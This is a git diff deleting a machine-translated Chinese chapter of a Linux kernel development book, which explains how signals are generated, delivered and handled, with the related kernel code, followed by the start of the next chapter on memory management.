(*sa_restorer)(void); - }; -``` - -* `int signum`是识别出的`signal`的标识符号。 `sigaction()`检查并设置与该信号相关联的动作。 -* 可以为`const struct sigaction *act`分配`struct sigaction`实例的地址。 此结构中指定的操作将成为绑定到信号的新操作。 当*act*指针保持未初始化(NULL)时,当前处理保持不变。 -* `struct sigaction *oldact`是一个输出参数,需要使用未初始化的`sigaction`实例的地址进行初始化;`sigaction()`通过此参数返回当前与信号关联的操作。 -* 以下是各种`flag`选项: -* `SA_NOCLDSTOP`:此标志仅在绑定`SIGCHLD`的处理程序时才相关。 它用于禁用子进程上的停止(`SIGSTP`)和恢复(`SIGCONT`)事件的`SIGCHLD`通知。 -* `SA_NOCLDWAIT`:此标志仅在绑定`SIGCHLD`的处理程序或将其处置设置为`SIG_DFL`时才相关。 设置此标志会导致子进程在终止时立即销毁,而不是使其处于*僵尸*状态。 -* `SA_NODEFER`:设置此标志会导致即使相应的处理程序正在执行,也会传递生成的信号。 -* `SA_ONSTACK`:此标志仅在绑定信号处理程序时才相关。 设置此标志会导致信号处理程序使用备用堆栈;备用堆栈必须由调用者进程通过`sigaltstack()`API 设置。 在没有备用堆栈的情况下,将在当前堆栈上调用处理程序。 -* `SA_RESETHAND`:当此标志与`sigaction()`一起应用时,它会使信号处理程序变为一次触发,也就是说,指定信号的操作将重置为`SIG_DFL`,以备以后出现此信号时使用。 -* `SA_RESTART`:此标志允许重新进入系统调用操作,由当前信号处理程序中断。 -* `SA_SIGINFO`:此标志用于向系统指示信号处理程序已分配--`sigaction`结构的`sa_sigaction`指针,而不是`sa_handler`。 分配给`sa_sigaction`的处理程序接收两个附加参数: - -```sh - void handler_fn(int signo, siginfo_t *info, void *context); -``` - -第一个参数是`signum`,处理程序绑定到该参数。 第二个参数是一个 outparam,它是指向类型为`siginfo_t`的对象的指针,该对象提供有关信号源的附加信息。 以下是`siginfo_t`的完整定义: - -```sh - siginfo_t { - int si_signo; /* Signal number */ - int si_errno; /* An errno value */ - int si_code; /* Signal code */ - int si_trapno; /* Trap number that caused hardware-generated signal (unused on most architectures) */ - pid_t si_pid; /* Sending process ID */ - uid_t si_uid; /* Real user ID of sending process */ - int si_status; /* Exit value or signal */ - clock_t si_utime; /* User time consumed */ - clock_t si_stime; /* System time consumed */ - sigval_t si_value; /* Signal value */ - int si_int; /* POSIX.1b signal */ - void *si_ptr; /* POSIX.1b signal */ - int si_overrun; /* Timer overrun count; POSIX.1b timers */ - int si_timerid; /* Timer ID; POSIX.1b timers */ - void *si_addr; /* Memory location which caused fault */ - long si_band; /* Band event (was int in glibc 2.3.2 and earlier) */ - int si_fd; /* File descriptor */ - short si_addr_lsb; /* Least significant bit of address (since Linux 2.6.32) */ - void *si_call_addr; /* Address of system call instruction (since Linux 3.5) */ - int si_syscall; /* Number of attempted system call (since Linux 3.5) */ - unsigned int si_arch; /* Architecture of attempted system call (since Linux 3.5) */ - } -``` - -2. `Sigprocmask()`:除了更改信号处理(指定接收到信号时要执行的操作)外,还允许应用阻塞或解除阻塞信号传输。 应用可能需要在执行关键代码块时执行此类操作,而不需要异步信号处理程序抢占。 例如,网络通信应用可能不想在进入发起与其对等设备的连接的代码块时处理信号: - * `sigprocmask()`是一个 POSIX API,用于检查、阻止和取消阻止信号。 - -```sh - int sigprocmask(int how, const sigset_t *set, sigset_t *oldset); -``` - -任何阻塞信号的出现都会在每个进程的挂起信号列表中排队。 挂起队列被设计为在对实时信号的每次出现进行排队时,保持阻塞的通用信号的一次出现。 用户模式进程可以使用`sigpending()`和`rt_sigpending()`API 探测挂起信号。 这些例程将挂起信号列表返回到`sigset_t`指针指向的实例中。 - -```sh - int sigpending(sigset_t *set); -``` - -The operations are applicable for all signals except `SIGKILL` and `SIGSTOP`; in other words, processes are not allowed to alter the default disposition or block `SIGSTOP` and `SIGKILL` signals. - -# 从程序中发出信号 - -`kill()`和`sigqueue()`是 POSIXAPI,进程可以通过它们为另一个进程或进程组发出信号。 这些 API 便于将信号用作**进程通信**机制: - -```sh - int kill(pid_t pid, int sig); - int sigqueue(pid_t pid, int sig, const union sigval value); - - union sigval { - int sival_int; - void *sival_ptr; - }; -``` - -虽然这两个 API 都提供了参数来指定要引发的接收器`PID`和`signum`,但`sigqueue()`提供了一个附加参数(联合信号),通过该参数可以将*数据*与信号一起发送到接收器进程。 目标进程可以通过`struct siginfo_t`(`si_value`)实例访问数据。 Linux 使用本机 API 扩展了这些函数,这些 API 可以将信号排队到线程组,甚至可以排队到线程组中的轻量级进程(LWP): - -```sh -/* queue signal to specific thread in a thread group */ -int tgkill(int tgid, int tid, int sig); - -/* queue signal and data to a thread group */ -int rt_sigqueueinfo(pid_t tgid, int sig, siginfo_t *uinfo); - -/* queue signal and data to specific thread in a thread group */ -int rt_tgsigqueueinfo(pid_t tgid, pid_t tid, int sig, siginfo_t *uinfo); - -``` - -# 等待排队信号 - -在将信号应用于进程通信时,进程可能更适合挂起自身,直到出现特定信号,然后在来自另一个进程的信号到达时恢复执行。 POSIX 调用`sigsuspend()`、`sigwaitinfo()`和`sigtimedwait()`提供此功能: - -```sh -int sigsuspend(const sigset_t *mask); -int sigwaitinfo(const sigset_t *set, siginfo_t *info); -int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); -``` - -虽然所有这些 API 都允许进程等待指定信号的出现,但`sigwaitinfo()`通过通过`info`指针返回的`siginfo_t`实例提供有关该信号的附加数据。 `sigtimedwait()`通过提供允许操作超时的附加参数来扩展功能,使其成为有界等待调用。 Linux 内核提供了另一个 API,它允许通过名为`signalfd()`的特殊文件描述符向进程通知信号的发生: - -```sh - #include - int signalfd(int fd, const sigset_t *mask, int flags); -``` - -如果成功,`signalfd()`将返回一个文件描述符,进程需要在该文件描述符上调用`read()`,该描述符会一直阻塞,直到出现掩码中指定的任何信号。 - -# 信号数据结构 - -内核维护每进程信号数据结构以跟踪*信号处置、**阻塞信号*和*挂起信号队列*。 流程任务结构包含对以下数据结构的适当引用: - -```sh -struct task_struct { - -.... -.... -.... -/* signal handlers */ - struct signal_struct *signal; - struct sighand_struct *sighand; - - sigset_t blocked, real_blocked; - sigset_t saved_sigmask; /* restored if set_restore_sigmask() was used */ - struct sigpending pending; - - unsigned long sas_ss_sp; - size_t sas_ss_size; - unsigned sas_ss_flags; - .... - .... - .... - .... - -}; -``` - -# 信号描述符 - -回想一下我们在第一章前面的讨论,Linux 通过轻量级进程支持多线程应用。 线程化应用的所有 LWP 都是*进程组*的一部分,并共享信号处理程序;每个 LWP(线程)维护自己的挂起和阻塞的信号队列。 - -任务结构的**信号**指针引用作为信号描述符的类型`signal_struct`的实例。 此结构由线程组的所有 LWP 共享,并维护共享挂起信号队列(用于排队到线程组的信号)等元素,这对进程组中的所有线程都是通用的。 - -下图表示维护共享挂起信号所涉及的数据结构: - -![](img/00014.jpeg) - -以下是`signal_struct`的几个重要字段: - -```sh -struct signal_struct { - atomic_t sigcnt; - atomic_t live; - int nr_threads; - struct list_head thread_head; - - wait_queue_head_t wait_chldexit; /* for wait4() */ - - /* current thread group signal load-balancing target: */ - struct task_struct *curr_target; - - /* shared signal handling: */ - struct sigpending shared_pending; - /* thread group exit support */ - int group_exit_code; - /* overloaded: - * - notify group_exit_task when ->count is equal to notify_count - * - everyone except group_exit_task is stopped during signal delivery - * of fatal signals, group_exit_task processes the signal. - */ - int notify_count; - struct task_struct *group_exit_task; - - /* thread group stop support, overloads group_exit_code too */ - int group_stop_count; - unsigned int flags; /* see SIGNAL_* flags below */ - -``` - -# 阻塞和挂起的队列 - -任务结构中的`blocked`和`real_blocked`实例是阻塞信号的位掩码;这些队列是每个进程的。 因此,线程组中的每个 LWP 都有其自己的阻塞信号掩码。 任务结构的`pending`实例用于对专用挂起信号进行排队;所有排队到正常进程和线程组中的特定 LWP 的信号都将排队到该列表中: - -```sh -struct sigpending { - struct list_head list; // head to double linked list of struct sigqueue - sigset_t signal; // bit mask of pending signals -}; -``` - -下图表示维护私有挂起信号所涉及的数据结构: - -![](img/00015.jpeg) - -# 信号处理程序描述符 - -任务结构的`sighand`指针引用 struct`sighand_struct`的实例,它是由线程组中的所有进程共享的信号处理程序描述符。 此结构也由使用`clone()`和`CLONE_SIGHAND`标志创建的所有进程共享。 此结构包含一个由`k_sigaction`个实例组成的数组,每个实例包装一个描述每个信号当前处理情况的`sigaction`实例: - -```sh -struct k_sigaction { - struct sigaction sa; -#ifdef __ARCH_HAS_KA_RESTORER - __sigrestore_t ka_restorer; -#endif -}; - -struct sighand_struct { - atomic_t count; - struct k_sigaction action[_NSIG]; - spinlock_t siglock; - wait_queue_head_t signalfd_wqh; -}; - -``` - -下图表示信号处理程序描述符: - -![](img/00016.jpeg) - -# 信号产生和传输 - -在接收器进程的任务结构中的待决信号列表中,当信号的出现被排队时,称为**生成**。 该信号是根据来自用户模式进程、内核或任何内核服务的请求(在进程或组上)生成的。 当一个或多个接收器进程知道信号的发生并被强制执行适当的响应处理程序时,信号被认为是**传递的**;换句话说,信号传递等于相应处理程序的初始化。 理想情况下,假设生成的每个信号都是即时传递的;然而,在信号生成和最终传递之间存在延迟的可能性。 为了方便可能的延迟传递,内核为信号生成和传递提供了单独的功能。 - -# 信号生成呼叫 - -内核提供了两组单独的信号生成函数:一组用于在单个进程上生成信号,另一组用于进程线程组。 - -* 以下是在进程上生成信号的重要函数列表: - `send_sig()`:在进程上生成指定的信号;此函数被内核服务广泛使用 -* `end_sig_info()`:使用其他`siginfo_t`实例扩展`send_sig()` -* `force_sig()`:用于生成不可忽略或阻挡的优先级不可屏蔽信号 -* `force_sig_info()`:使用其他`siginfo_t`实例扩展`force_sig()`。 - -所有这些例程最终都会调用核心内核函数`send_signal()`,该函数被编程为生成指定的信号。 - -以下是在进程组上生成信号的重要函数列表: - -* `kill_pgrp()`:在进程组中的所有线程组上生成指定信号 -* `kill_pid()`:向由 PID 标识的线程组生成指定信号 -* `kill_pid_info()`:使用其他*`siginfo_t`*实例扩展`kill_pid()` - -所有这些例程都调用函数`group_send_sig_info()`,该函数最终使用适当的参数调用`send_signal()`。 -`send_signal()`函数是核心信号生成函数;它使用适当的参数调用`__send_signal()`例程: - -```sh - static int send_signal(int sig, struct siginfo *info, struct task_struct *t, - int group) -{ - int from_ancestor_ns = 0; - -#ifdef CONFIG_PID_NS - from_ancestor_ns = si_fromuser(info) && - !task_pid_nr_ns(current, task_active_pid_ns(t)); -#endif - - return __send_signal(sig, info, t, group, from_ancestor_ns); -} -``` - -以下是`__send_signal()`执行的重要步骤: - -1. 检查来自`info`参数的信号源。 如果信号生成是由内核为不可屏蔽的`SIGKILL`或`SIGSTOP`发起的,它会立即设置签名位掩码的适当位,设置`TIF_SIGPENDING`标志,并通过唤醒目标线程来启动传递过程: - -```sh - /* - * fast-pathed signals for kernel-internal things like SIGSTOP - * or SIGKILL. - */ - if (info == SEND_SIG_FORCED) - goto out_set; -.... -.... -.... -out_set: - signalfd_notify(t, sig); - sigaddset(&pending->signal, sig); - complete_signal(sig, t, group); - -``` - -2. 调用`__sigqeueue_alloc()`函数,该函数检查接收器进程的挂起信号数量是否小于资源限制。 如果为真,则递增挂起信号计数器并返回`struct sigqueue`实例的地址: - -```sh - q = __sigqueue_alloc(sig, t, GFP_ATOMIC | __GFP_NOTRACK_FALSE_POSITIVE, - override_rlimit); -``` - -3. 将`sigqueue`实例排队到挂起列表中,并将信号信息填写到`siginfo_t`中: - -```sh -if (q) { - list_add_tail(&q->list, &pending->list); - switch ((unsigned long) info) { - case (unsigned long) SEND_SIG_NOINFO: - q->info.si_signo = sig; - q->info.si_errno = 0; - q->info.si_code = SI_USER; - q->info.si_pid = task_tgid_nr_ns(current, - task_active_pid_ns(t)); - q->info.si_uid = from_kuid_munged(current_user_ns(), current_uid()); - break; - case (unsigned long) SEND_SIG_PRIV: - q->info.si_signo = sig; - q->info.si_errno = 0; - q->info.si_code = SI_KERNEL; - q->info.si_pid = 0; - q->info.si_uid = 0; - break; - default: - copy_siginfo(&q->info, info); - if (from_ancestor_ns) - q->info.si_pid = 0; - break; - } - -``` - -4. 在挂起信号的位掩码中设置适当的信号位,并通过调用`complete_signal(),`来尝试信号传输,进而设置`TIF_SIGPENDING`标志: - -```sh - sigaddset(&pending->signal, sig); - complete_signal(sig, t, group); -``` - -# 信号传递 - -在通过前面提到的任何信号生成调用更新接收器的任务结构中的适当条目来生成信号**之后,内核进入传送模式。 如果接收器进程在 CPU 上并且没有阻塞指定的信号,则信号会立即传送。 即使接收器不在 CPU 上,也会通过唤醒进程来传送优先级信号`SIGSTOP`和`SIGKILL`;然而,对于其余信号,**传送**将推迟到进程准备好接收信号。 为了便于延迟传递,内核在允许进程恢复用户模式执行之前,在从**中断**和**系统调用**返回时检查进程的非阻塞挂起信号。 当进程调度器(在从中断和异常返回时调用)发现设置了`TIF_SIGPENDING`标志时,它会调用内核函数`do_signal()`在恢复进程的用户模式上下文之前启动挂起信号的传递。 -进入内核模式后,进程的用户模式寄存器状态存储在进程内核堆栈中,结构称为`pt_regs`(特定于体系结构):** - -```sh - struct pt_regs { -/* - * C ABI says these regs are callee-preserved. They aren't saved on kernel entry - * unless syscall needs a complete, fully filled "struct pt_regs". - */ - unsigned long r15; - unsigned long r14; - unsigned long r13; - unsigned long r12; - unsigned long rbp; - unsigned long rbx; -/* These regs are callee-clobbered. Always saved on kernel entry. */ - unsigned long r11; - unsigned long r10; - unsigned long r9; - unsigned long r8; - unsigned long rax; - unsigned long rcx; - unsigned long rdx; - unsigned long rsi; - unsigned long rdi; -/* - * On syscall entry, this is syscall#. On CPU exception, this is error code. - * On hw interrupt, it's IRQ number: - */ - unsigned long orig_rax; -/* Return frame for iretq */ - unsigned long rip; - unsigned long cs; - unsigned long eflags; - unsigned long rsp; - unsigned long ss; -/* top of stack page */ -}; -``` - -使用内核堆栈中的地址`pt_regs`调用`do_signal()`例程。 虽然`do_signal()`旨在传递非阻塞的挂起信号,但其实现是特定于体系结构的。 - -以下是`do_signal()`的 x86 版本: - -```sh -void do_signal(struct pt_regs *regs) -{ - struct ksignal ksig; - if (get_signal(&ksig)) { - /* Whee! Actually deliver the signal. */ - handle_signal(&ksig, regs); - return; - } - /* Did we come from a system call? */ - if (syscall_get_nr(current, regs) >= 0) { - /* Restart the system call - no handlers present */ - switch (syscall_get_error(current, regs)) { - case -ERESTARTNOHAND: - case -ERESTARTSYS: - case -ERESTARTNOINTR: - regs->ax = regs->orig_ax; - regs->ip -= 2; - break; - case -ERESTART_RESTARTBLOCK: - regs->ax = get_nr_restart_syscall(regs); - regs->ip -= 2; - break; - } - } - /* - * If there's no signal to deliver, we just put the saved sigmask - * back. - */ - restore_saved_sigmask(); -} -``` - -`do_signal()`使用类型为`struct ksignal`的实例的地址调用`get_signal()`函数(我们将简要考虑此例程的重要步骤,跳过其他细节)。 此函数包含一个循环,该循环调用`dequeue_signal()`,直到来自私有和共享挂起列表的所有非阻塞挂起信号都出列。 它从查找专用挂起信号队列开始,从编号最低的信号开始,然后进入共享队列中的挂起信号,然后更新数据结构以指示信号不再挂起并返回其编号: - -```sh - signr = dequeue_signal(current, ¤t->blocked, &ksig->info); -``` - -对于`dequeue_signal())`返回的每个挂起信号,`get_signal()`通过类型为`struct ksigaction *ka`:的指针检索当前信号处理 - -```sh -ka = &sighand->action[signr-1]; -``` - -如果信号处置设置为`SIG_IGN`,它将静默忽略当前信号,并继续迭代以检索另一个挂起信号: - -```sh -if (ka->sa.sa_handler == SIG_IGN) /* Do nothing. */ - continue; -``` - -如果 disposition 不等于`SIG_DFL`,则它检索**sigaction**的地址,并将其初始化为参数`ksig->ka`,以便进一步执行用户模式处理程序。 它进一步检查用户的**sigaction**中的`SA_ONESHOT (SA_RESETHAND)`标志,如果设置,则将信号处理重置为`SIG_DFL`,中断循环,并返回给调用者。 `do_signal()`现在调用`handle_signal()`例程来执行用户模式处理程序(我们将在下一节详细讨论这一点)。 - -```sh - if (ka->sa.sa_handler != SIG_DFL) { - /* Run the handler. */ - ksig->ka = *ka; - - if (ka->sa.sa_flags & SA_ONESHOT) - ka->sa.sa_handler = SIG_DFL; - - break; /* will return non-zero "signr" value */ - } -``` - -如果 Disposition 设置为`SIG_DFL`,它将调用一组宏来检查内核处理程序的**默认操作**。 可能的默认操作包括: - -* **术语**:默认操作是终止进程 -* **IGN**:默认操作是忽略信号 -* **核心**:默认操作是终止进程并转储核心 -* **停止**:默认操作是停止进程 -* **cont**:默认操作是继续进程(如果该进程当前已停止 - -下面是`get_signal()`中的一段代码片段,它根据设置的处置启动默认操作: - -```sh -/* - * Now we are doing the default action for this signal. - */ - if (sig_kernel_ignore(signr)) /* Default is nothing. */ - continue; - - /* - * Global init gets no signals it doesn't want. - * Container-init gets no signals it doesn't want from same - * container. - * - * Note that if global/container-init sees a sig_kernel_only() - * signal here, the signal must have been generated internally - * or must have come from an ancestor namespace. In either - * case, the signal cannot be dropped. - */ - if (unlikely(signal->flags & SIGNAL_UNKILLABLE) && - !sig_kernel_only(signr)) - continue; - - if (sig_kernel_stop(signr)) { - /* - * The default action is to stop all threads in - * the thread group. The job control signals - * do nothing in an orphaned pgrp, but SIGSTOP - * always works. Note that siglock needs to be - * dropped during the call to is_orphaned_pgrp() - * because of lock ordering with tasklist_lock. - * This allows an intervening SIGCONT to be posted. - * We need to check for that and bail out if necessary. - */ - if (signr != SIGSTOP) { - spin_unlock_irq(&sighand->siglock); - - /* signals can be posted during this window */ - - if (is_current_pgrp_orphaned()) - goto relock; - - spin_lock_irq(&sighand->siglock); - } - - if (likely(do_signal_stop(ksig->info.si_signo))) { - /* It released the siglock. */ - goto relock; - } - - /* - * We didn't actually stop, due to a race - * with SIGCONT or something like that. - */ - continue; - } - - spin_unlock_irq(&sighand->siglock); - - /* - * Anything else is fatal, maybe with a core dump. - */ - current->flags |= PF_SIGNALED; - - if (sig_kernel_coredump(signr)) { - if (print_fatal_signals) - print_fatal_signal(ksig->info.si_signo); - proc_coredump_connector(current); - /* - * If it was able to dump core, this kills all - * other threads in the group and synchronizes with - * their demise. If we lost the race with another - * thread getting here, it set group_exit_code - * first and our do_group_exit call below will use - * that value and ignore the one we pass it. - */ - do_coredump(&ksig->info); - } - - /* - * Death signals, no core dump. - */ - do_group_exit(ksig->info.si_signo); - /* NOTREACHED */ - } -``` - -首先,宏`sig_kernel_ignore`检查默认操作 Ignore。 如果为真,则继续循环迭代以查找下一个挂起信号。 第二个宏`sig_kernel_stop`检查默认的操作 STOP;如果为真,它将调用`do_signal_stop()`例程,该例程将进程组中的每个线程置于`TASK_STOPPED`状态。 第三个宏`sig_kernel_coredump`检查默认操作转储;如果为真,它将调用`do_coredump()`例程,该例程生成核心转储二进制文件并终止线程组中的所有进程。 接下来,对于默认操作为 Terminate 的信号,通过调用`do_group_exit()`例程终止组中的所有线程。 - -# 执行用户模式处理程序 - -回想一下我们在上一节中的讨论,`do_signal()`调用`handle_signal()`例程来传递其处理设置为用户处理程序的挂起信号。 用户模式信号处理程序驻留在进程代码段中,需要访问进程的用户模式堆栈;因此,内核需要切换到用户模式堆栈来执行信号处理程序。 要从信号处理程序成功返回,需要切换回内核堆栈以恢复正常用户模式执行的用户上下文,但这样的操作将失败,因为内核堆栈将不再包含用户上下文(`struct pt_regs`),因为进程从用户模式到内核模式的每个条目都清空了它。 - -为了确保进程在用户模式下正常执行的平稳过渡(从信号处理程序返回时),`handle_signal()`将内核堆栈中的用户模式硬件上下文(`struct pt_regs`)移动到用户模式堆栈(`struct ucontext`)中,并设置处理程序帧以在返回期间调用`_kernel_rt_sigreturn()`例程;此函数将硬件上下文复制回内核堆栈,并恢复用户模式上下文以恢复当前进程的正常执行。 - -下图描述了用户模式信号处理程序的执行情况: - -![](img/00017.jpeg) - -# 设置用户模式处理程序帧 - -要为用户模式处理程序设置堆栈帧,`handle_signal()`使用`ksignal`实例的地址调用`setup_rt_frame()`,该地址包含与当前进程的内核堆栈中的信号关联的`k_sigaction`和指向`struct pt_regs`的指针。 -下面是`setup_rt_frame()`的 x86 实现: - -```sh -setup_rt_frame(struct ksignal *ksig, struct pt_regs *regs) -{ - int usig = ksig->sig; - sigset_t *set = sigmask_to_save(); - compat_sigset_t *cset = (compat_sigset_t *) set; - - /* Set up the stack frame */ - if (is_ia32_frame(ksig)) { - if (ksig->ka.sa.sa_flags & SA_SIGINFO) - return ia32_setup_rt_frame(usig, ksig, cset, regs); // for 32bit systems with SA_SIGINFO - else - return ia32_setup_frame(usig, ksig, cset, regs); // for 32bit systems without SA_SIGINFO - } else if (is_x32_frame(ksig)) { - return x32_setup_rt_frame(ksig, cset, regs);// for systems with x32 ABI - } else { - return __setup_rt_frame(ksig->sig, ksig, set, regs);// Other variants of x86 - } -} -``` - -它检查 x86 的特定变体并调用适当的帧设置例程。 为了进一步讨论,我们将重点讨论适用于 x86-64 的`__setup_rt_frame()`。 此函数使用处理信号所需的信息填充名为`struct rt_sigframe`的结构的实例,设置返回路径(通过`_kernel_rt_sigreturn()`函数),并将其推入用户模式堆栈: - -```sh -/*arch/x86/include/asm/sigframe.h */ -#ifdef CONFIG_X86_64 - -struct rt_sigframe { - char __user *pretcode; - struct ucontext uc; - struct siginfo info; - /* fp state follows here */ -}; - ------------------------ - -/*arch/x86/kernel/signal.c */ -static int __setup_rt_frame(int sig, struct ksignal *ksig, - sigset_t *set, struct pt_regs *regs) -{ - struct rt_sigframe __user *frame; - void __user *restorer; - int err = 0; - void __user *fpstate = NULL; - - /* setup frame with Floating Point state */ - frame = get_sigframe(&ksig->ka, regs, sizeof(*frame), &fpstate); - - if (!access_ok(VERIFY_WRITE, frame, sizeof(*frame))) - return -EFAULT; - - put_user_try { - put_user_ex(sig, &frame->sig); - put_user_ex(&frame->info, &frame->pinfo); - put_user_ex(&frame->uc, &frame->puc); - - /* Create the ucontext. */ - if (boot_cpu_has(X86_FEATURE_XSAVE)) - put_user_ex(UC_FP_XSTATE, &frame->uc.uc_flags); - else - put_user_ex(0, &frame->uc.uc_flags); - put_user_ex(0, &frame->uc.uc_link); - save_altstack_ex(&frame->uc.uc_stack, regs->sp); - - /* Set up to return from userspace. */ - restorer = current->mm->context.vdso + - vdso_image_32.sym___kernel_rt_sigreturn; - if (ksig->ka.sa.sa_flags & SA_RESTORER) - restorer = ksig->ka.sa.sa_restorer; - put_user_ex(restorer, &frame->pretcode); - - /* - * This is movl $__NR_rt_sigreturn, %ax ; int $0x80 - * - * WE DO NOT USE IT ANY MORE! It's only left here for historical - * reasons and because gdb uses it as a signature to notice - * signal handler stack frames. - */ - put_user_ex(*((u64 *)&rt_retcode), (u64 *)frame->retcode); - } put_user_catch(err); - - err |= copy_siginfo_to_user(&frame->info, &ksig->info); - err |= setup_sigcontext(&frame->uc.uc_mcontext, fpstate, - regs, set->sig[0]); - err |= __copy_to_user(&frame->uc.uc_sigmask, set, sizeof(*set)); - - if (err) - return -EFAULT; - - /* Set up registers for signal handler */ - regs->sp = (unsigned long)frame; - regs->ip = (unsigned long)ksig->ka.sa.sa_handler; - regs->ax = (unsigned long)sig; - regs->dx = (unsigned long)&frame->info; - regs->cx = (unsigned long)&frame->uc; - - regs->ds = __USER_DS; - regs->es = __USER_DS; - regs->ss = __USER_DS; - regs->cs = __USER_CS; - - return 0; -} -``` - -为`rt_sigframe`结构的`*pretcode`字段分配信号处理程序函数的返回地址,该函数是`_kernel_rt_sigreturn()`例程。 用`sigcontext`初始化`struct ucontext uc`,它包含从内核堆栈的`pt_regs`复制的用户模式上下文、常规阻塞信号的位数组和浮点状态。 在设置`frame`实例并将其推送到用户模式堆栈之后,`__setup_rt_frame()`更改内核堆栈中进程的`pt_regs`,以便在当前进程恢复执行时将控制权移交给信号处理程序。 将**指令指针(IP)**设置为信号处理程序的基地址,并将**堆栈****指针(Sp)**设置为先前推送的帧的顶部地址;这些更改会导致信号处理程序执行。 - -# 重新启动中断的系统调用 - -我们在[第 1 章](01.html#J2B80-7300e3ede2f245b0b80e1b18d02a323f)*理解进程、地址空间和线程*中了解到,用户模式进程调用*系统调用*来切换到内核模式以执行内核服务。 当进程进入内核服务例程时,该例程可能会因资源可用性(例如,等待排除锁定)或发生事件(例如中断)而被阻塞。 这样的阻塞操作要求调用方进程进入`TASK_INTERRUPTIBLE,``TASK_UNINTERRUPTIBLE`、*或*`TASK_KILLABLE`状态。 实现的特定状态取决于对系统调用中调用的阻塞调用的选择。 - -如果调用方任务进入`TASK_UNINTERRUPTIBLE`状态,则会生成该任务上出现的信号,使它们进入挂起列表,并且只有在服务例程完成后(在返回到用户模式的路径上)才会将其传递给进程。 但是,如果任务被置于`TASK_INTERRUPTIBLE`状态,则会生成该任务上的信号,并通过将其状态更改为`TASK_RUNNING`来尝试立即交付,这会导致该任务甚至在系统调用完成之前就在阻塞的系统调用上被唤醒(导致系统调用操作失败)。 通过返回相应的故障代码来指示此类中断。 信号对处于`TASK_KILLABLE`状态的任务的影响类似于`TASK_INTERRUPTIBLE`,不同之处在于唤醒仅在发生致命的`SIGKILL`信号时生效。 - -`EINTR`*、*`ERESTARTNOHAND`*、*`ERESTART_RESTARTBLOCK`*、*`ERESTARTSYS`或`ERESTARTNOINTR`是各种内核定义的故障代码;系统调用被编程为在故障时返回适当的错误标志。 错误代码的选择决定了在处理中断信号后是否重新启动失败的系统调用操作: - -```sh -(include/uapi/asm-generic/errno-base.h) - #define EPERM 1 /* Operation not permitted */ - #define ENOENT 2 /* No such file or directory */ - #define ESRCH 3 /* No such process */ - #define EINTR 4 /* Interrupted system call */ - #define EIO 5 /* I/O error */ - #define ENXIO 6 /* No such device or address */ - #define E2BIG 7 /* Argument list too long */ - #define ENOEXEC 8 /* Exec format error */ - #define EBADF 9 /* Bad file number */ - #define ECHILD 10 /* No child processes */ - #define EAGAIN 11 /* Try again */ - #define ENOMEM 12 /* Out of memory */ - #define EACCES 13 /* Permission denied */ - #define EFAULT 14 /* Bad address */ - #define ENOTBLK 15 /* Block device required */ - #define EBUSY 16 /* Device or resource busy */ - #define EEXIST 17 /* File exists */ - #define EXDEV 18 /* Cross-device link */ - #define ENODEV 19 /* No such device */ - #define ENOTDIR 20 /* Not a directory */ - #define EISDIR 21 /* Is a directory */ - #define EINVAL 22 /* Invalid argument */ - #define ENFILE 23 /* File table overflow */ - #define EMFILE 24 /* Too many open files */ - #define ENOTTY 25 /* Not a typewriter */ - #define ETXTBSY 26 /* Text file busy */ - #define EFBIG 27 /* File too large */ - #define ENOSPC 28 /* No space left on device */ - #define ESPIPE 29 /* Illegal seek */ - #define EROFS 30 /* Read-only file system */ - #define EMLINK 31 /* Too many links */ - #define EPIPE 32 /* Broken pipe */ - #define EDOM 33 /* Math argument out of domain of func */ - #define ERANGE 34 /* Math result not representable */ - linux/errno.h) - #define ERESTARTSYS 512 - #define ERESTARTNOINTR 513 - #define ERESTARTNOHAND 514 /* restart if no handler.. */ - #define ENOIOCTLCMD 515 /* No ioctl command */ - #define ERESTART_RESTARTBLOCK 516 /* restart by calling sys_restart_syscall */ - #define EPROBE_DEFER 517 /* Driver requests probe retry */ - #define EOPENSTALE 518 /* open found a stale dentry */ -``` - -从中断的系统调用返回时,用户模式 API 总是返回`EINTR`错误代码,而不考虑底层内核服务例程返回的特定错误代码。 内核的信号传递例程使用剩余的错误代码来确定中断的系统调用是否可以在从信号处理程序返回时重新启动。下表显示了系统调用执行中断时的错误代码及其对各种信号处理的影响: - -![](img/00018.jpeg) - -这就是他们的意思: - -* **No Restart**:系统调用不会重启。 该进程将从系统调用(int$0x80 或 sysenter)之后的指令恢复在用户模式下执行。 -* **自动重启**:内核通过将相应的 syscall 标识符加载到*eax*并执行 syscall 指令(int$0x80 或 sysenter),强制用户进程重新启动系统调用操作。 -* **显式重新启动**:仅当进程在为中断信号设置处理程序(通过 sigaction)时启用了`SA_RESTART`标志时,系统调用才会重新启动。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -虽然信号是进程和内核服务参与的基本通信形式,但它提供了一种简单而有效的方法,可以在发生各种事件时从运行中的进程获得异步响应。 通过了解信号使用的所有核心方面、它们的表示、数据结构以及用于信号生成和传递的内核例程,我们现在更了解内核,也更好地准备在本书后面的部分中查看进程之间更复杂的通信方式。 在花了前三章讨论进程及其相关方面之后,我们现在将深入研究内核的其他子系统,以提高我们的可见性。 在下一章中,我们将建立对内核核心方面之一--内存子系统的理解。 - -在下一章中,我们将逐步了解内存管理的许多关键方面,如内存初始化、分页和保护以及内核内存分配算法等。** \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/04.md b/docs/master-linux-kernel-dev/04.md deleted file mode 100644 index ae326334..00000000 --- a/docs/master-linux-kernel-dev/04.md +++ /dev/null @@ -1,1288 +0,0 @@ -# 四、内存管理和分配器 - -内存管理的效率在很大程度上决定了整个内核的效率。 随意管理的内存系统可能会严重影响其他子系统的性能,使内存成为内核的关键组件。 这个子系统通过虚拟化物理内存并管理它们发起的所有动态分配请求来启动所有进程和内核服务。 在维持操作效率和优化资源方面,内存子系统还可以处理广泛的操作。 操作既是特定于体系结构的,又是独立的,这要求总体设计和实现是公正和可调整的。 为了理解这个庞大的子系统,我们将在本章中仔细研究以下几个方面: - -* 物理内存表示法 -* 节点和区域的概念 -* 页面分配器 -* 搭伴制 -* Kmalloc 津贴 -* 片缓存 -* Vmalloc 津贴 -* 连续内存分配 - -# 初始化操作 - -在大多数架构中,在*复位时,*处理器以正常或物理地址模式(在 x86 中也称为**实模式**)初始化,并开始执行在**复位矢量**处找到的平台固件指令。 这些固件指令(可以是单个二进制或多级二进制)被编程以执行各种操作,其中包括存储器控制器的初始化、物理 RAM 的校准以及将二进制内核映像加载到物理存储器的特定区域等。 - -在实模式下,处理器不支持虚拟寻址,Linux 